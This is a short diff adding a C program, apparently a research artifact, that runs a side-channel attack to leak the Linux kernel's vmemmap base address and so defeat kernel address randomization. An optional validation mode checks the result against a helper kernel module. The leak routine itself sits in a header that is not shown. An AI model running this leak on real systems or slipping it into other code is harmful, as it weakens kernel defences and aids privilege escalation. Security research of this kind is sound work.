added artifacts

artifacts/generic/vmemmap_leak.c

@@ -0,0 +1,35 @@
+#include "coarse_grain_leak.h"
+// #define VALIDATE
+#ifdef VALIDATE
+#include "ulkm.h"
+#endif
+
+#define TRIES 30
+
+int main(void)
+{
+    /* warmup */
+#ifdef VALIDATE
+    size_t vmemmap_base = 0;
+    lkm_init();
+    lkm_vmemmap_leak((size_t)&vmemmap_base);
+    init_tlb_flush();
+    // size_t stack;
+    // lkm_stack_leak((size_t)&stack); //this technically doesn't need to be the stack page, but it happens to give us a mapped and an unmapped 4k page
+    // DualThreshold t = detect_threshold(stack + 0x3000, stack + 0x4000, 100);
+    // THRESHOLD = t.lower;
+#endif
+
+    for (volatile size_t i = 0; i < (1ULL << 30); ++i);
+    /* leaking */
+    size_t found = 0;
+    size_t addr = vmemmap_leak_found(TRIES, &found);
+    printf("%016zx\n", addr);
+#ifdef VALIDATE
+    if (vmemmap_base != addr) {
+        printf("[!] vmemmap base wrong found %016zx to vmemmap_base %016zx\n", addr, vmemmap_base);
+        return 0;
+    }
+#endif
+    return found ? 1 : -1;
+}